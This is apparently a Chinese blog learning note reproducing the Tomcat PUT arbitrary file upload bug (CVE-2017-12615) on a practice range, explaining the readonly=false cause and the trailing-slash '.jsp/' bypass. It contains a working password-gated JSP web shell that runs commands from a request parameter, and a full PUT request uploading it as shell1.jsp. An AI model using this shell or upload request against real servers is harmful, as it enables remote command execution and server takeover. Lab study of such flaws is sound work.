Tomcat PUT方法任意写文件漏洞学习

1 PUT请求

PUT请求是一种在HTTP协议中常见的请求方法

1.1 基本原理

PUT请求是一种用于向指定资源位置上传新的实体数据的请求方法,与其他请求方法的区别在于,PUT请求用于创建或者更新只当资源位置的实体数据。它与GET请求不同,PUT请求会替换掉指定位置的原有数据,而不是简单的获取数据

1.2 使用场景

常见的使用场景包裹更新用户信息、上传文件、修改配置等,如使用PUT请求更新用户的个人信息,或者使用PUT请求上传文件到服务器。

1.3 基本语法和格式

http 复制代码
PUT /api/users/123 HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "name": "John",
  "age": 30
}
http 复制代码
PUT /path/to/resource HTTP/1.1          ← 请求行  
Host: example.com                       ← 必须有 Host 头(HTTP/1.1)  
Content-Type: application/json          ← 实体头:描述消息体格式  
Content-Length: 123                     ← 实体头:消息体字节长度  
(可选) Authorization: Bearer <token>  
(可选) If-Match: "xyz"                   ← 并发控制  
(可选) Accept: application/json         ← 期望响应格式  

{                                       ← 消息体(Body):资源的完整新表述  
  "id": 123,  
  "name": "New Name",  
  "price": 29.99  
}  

2 漏洞原理

Tomcat的web.xml配置(readonly=false),导致我们可以往服务器写文件

tomcat本身不允许上传jsp文件,但是1.jsp/加了就不是了,系统在保存时因为不能存在/字符,在保存时就会被忽略,此时jsp文件完成了上传并保存

3 漏洞复现

这里用的是好靶场的CVE-2017-12615

Apache Tomcat 7.0.0 至 7.0.79 版本且启用 HTTP PUT 方法(如将默认的 readonly 初始化参数设为 false )时,攻击者可通过精心构造的请求向服务器上传含恶意代码的 JSP 文件,一旦该文件被请求,其中代码将被服务器执行,造成数据泄露或服务器权限被获取等严重后果。

3.1 验证漏洞存在

开启本地代理,打开BP,启动拦截,刷新页面,抓到请求数据包

更改请求信息,根据响应可知,支持PUT请求方式

3.2 上传JSP文件

jsp 复制代码
<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

这段代码的功能是:

  1. 检查请求参数"pwd"的值是否为"123",这里是可以进行更改的,类似于一个密码的作用
  2. 如果密码正确,执行请求参数"cmd"提供的系统命令
  3. 读取命令执行结果并输出到网页上

正常来说就没有这个400 Bad Request的,但是我这个不知道怎么回事

寻求ai后是这样的

jsp 复制代码
PUT /shell1.jsp HTTP/1.1
Host: 8t4ptp9.haobachang.loveli.com.cn:8888
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/plain
Content-Length: 419

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

但出现

相关推荐
悠哉悠哉愿意2 小时前
【ROS2学习笔记】 TF 坐标系
笔记·学习·ros2
代码萌新知3 小时前
设计模式学习(五)装饰者模式、桥接模式、外观模式
java·学习·设计模式·桥接模式·装饰器模式·外观模式
驱动探索者5 小时前
find 命令使用介绍
java·linux·运维·服务器·前端·学习·microsoft
小雨凉如水6 小时前
k8s学习-pod的生命周期
java·学习·kubernetes
charlie1145141916 小时前
理解C++20的革命特性——协程支持2:编写简单的协程调度器
c++·学习·算法·设计模式·c++20·协程·调度器
文火冰糖的硅基工坊6 小时前
[人工智能-综述-21]:学习人工智能的路径
大数据·人工智能·学习·系统架构·制造
JJJJ_iii7 小时前
【深度学习01】快速上手 PyTorch:环境 + IDE+Dataset
pytorch·笔记·python·深度学习·学习·jupyter
好奇龙猫7 小时前
日语学习-日语知识点小记-进阶-JLPT-N1阶段应用练习(5):语法 +考え方18+2022年7月N1
学习
。TAT。7 小时前
Linux - 进程状态
linux·学习
red_redemption8 小时前
自由学习记录(105)
学习